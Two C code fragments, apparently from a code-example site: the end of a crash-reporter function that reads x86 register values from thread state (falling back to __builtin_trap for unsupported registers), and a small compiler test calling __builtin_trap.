        case APIGEE_PLCRASH_X86_EFLAGS:
            RETGEN(eflags, thread.uts.ts32, ts);
            
        case APIGEE_PLCRASH_X86_TRAPNO:
            RETGEN(trapno, exception.ues.es32, ts);
            
        case APIGEE_PLCRASH_X86_CS:
            RETGEN(cs, thread.uts.ts32, ts);
            
        case APIGEE_PLCRASH_X86_DS:
            RETGEN(ds, thread.uts.ts32, ts);
            
        case APIGEE_PLCRASH_X86_ES:
            RETGEN(es, thread.uts.ts32, ts);
            
        case APIGEE_PLCRASH_X86_FS:
            RETGEN(fs, thread.uts.ts32, ts);
            
        case APIGEE_PLCRASH_X86_GS:
            RETGEN(gs, thread.uts.ts32, ts);
            
        default:
            // Unsupported register
            __builtin_trap();
    }
    
    /* Shouldn't be reachable */
    return 0;
}
コード例 #30
0
void test12(void) {
  __builtin_trap();  // no warning because trap is noreturn.
}